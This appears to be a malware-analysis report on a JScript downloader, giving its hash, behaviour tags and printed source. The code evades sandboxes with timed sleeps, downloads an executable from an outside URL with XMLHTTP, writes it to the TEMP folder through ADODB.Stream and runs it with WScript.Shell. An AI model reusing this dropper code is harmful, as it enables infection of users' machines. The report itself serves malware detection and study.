20160328_7ae3f0bb4b4a021de1101e9d0f4cc74b.js
Downloads and executes payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2560ffdf1431d0f378382a421a5dde5cae287c36c7872843ccbe60988b81068c679
Evidence
1var Rhlnke = false;
2var Lkqujv = "CreateObject";
3var Jnijtzqq = function Lrovjcw() {return WScript[Lkqujv]("WScript.Shell");}();
4var Jkptinv = 123213;
5var Lurcaqtclz = "MSXML2.XMLHTTP";
6var Jutffhudfk = 2123213;
7var Jbcsv = 0;
8function Utwxm(Czapapypfz){Jnijtzqq["Run"](Czapapypfz, Jbcsv, Jbcsv);};
9function Jcfoyodc(){return Lurcaqtclz;};
10function Xhipsl(Htqdj, Jxegg){return Htqdj - Jxegg;};
11function Aznakqyq(){return Lkqujv;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Rhlnke = true;
15 @end
16@*/
17var Ahtgtwptq = "";
18if (Rhlnke)
19{
20function Zqthy(){return 22;};
21var Ufhojvoov = 0; var Zzdrllcguy = 0;
22function Zgjtgjo()
23{
24var Fyhxjz = new this["Date"]();
25var Dnvziajtwu = Fyhxjz["getUTCMilliseconds"]();
26WScript["Sleep"](Zqthy());
27var Fyhxjz = new this["Date"]();
28var Xmnpclmpr = Fyhxjz["getUTCMilliseconds"]();
29WScript["Sleep"](Zqthy());
30var Fyhxjz = new this["Date"]();
31var Mpcxv = Fyhxjz["getUTCMilliseconds"]();
32var Ufhojvoov = "Zrqwahxb";
33Ufhojvoov = Xhipsl(Xmnpclmpr, Dnvziajtwu);
34var Zzdrllcguy = "Fujjkamjs";
35Zzdrllcguy = Xhipsl(Mpcxv, Xmnpclmpr);
36Ahtgtwptq = "open";
37return Xhipsl(Ufhojvoov, Zzdrllcguy);
38}
39var Womzxjwn = false;
40var Byeycbfaou = false;
41for (var Jrxmolsh = Jbcsv; Jrxmolsh < Zqthy() * 1; Jrxmolsh++){if (Zgjtgjo() != Jbcsv){
42Womzxjwn = t …
49:9… xjwn && Ifkablus() && Byeycbfaou){
50function Vzlegqei() {return Jnijtzqq["ExpandEnvironmentStrings"]("%TEMP%/") + "j10QYdEAWFbGfW.exe";};
51 Fkihtkmpi = Jcfoyodc();
52 Qpdfqf = WScript[Lkqujv](Fkihtkmpi);
53 var Nixeuzycor = 1;
54 while (Nixeuzycor){
55try {
56Qpdfqf[Ahtgtwptq]("GET", "http://www.hiveclick.com/m4usd", false);
57Qpdfqf["send"]();
58Tkrkcbjl = "Sleep";
59do {WScript[Tkrkcbjl](Zqthy() * 11)} while (Qpdfqf["readystate"] < 4 );
60Nixeuzycor = Jbcsv;
61} catch(Jkstwa){Nixeuzycor = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ewfnm(Zpgezemk) {var Ktsfklx = (1, 2, 3, 4, 5, Zpgezemk); return Ktsfklx;};
64Vernwxlcvt = WScript[Aznakqyq()]("ADODB.Stream");
65Fkihtkmpi = Vernwxlcvt;
66Fkihtkmpi[Ahtgtwptq]();
67Fkihtkmpi["type"] = Ewfnm(1);
68Fkihtkmpi["write"](Qpdfqf["ResponseBody"]);
69Vernwxlcvt["position"] = Ewfnm(Jbcsv);
70Fkihtkmpi["SaveToFile"](Vzlegqei(), Ewfnm(2) );
71Vernwxlcvt["close"]();
72Utwxm(Vzlegqei());
73}
74}
75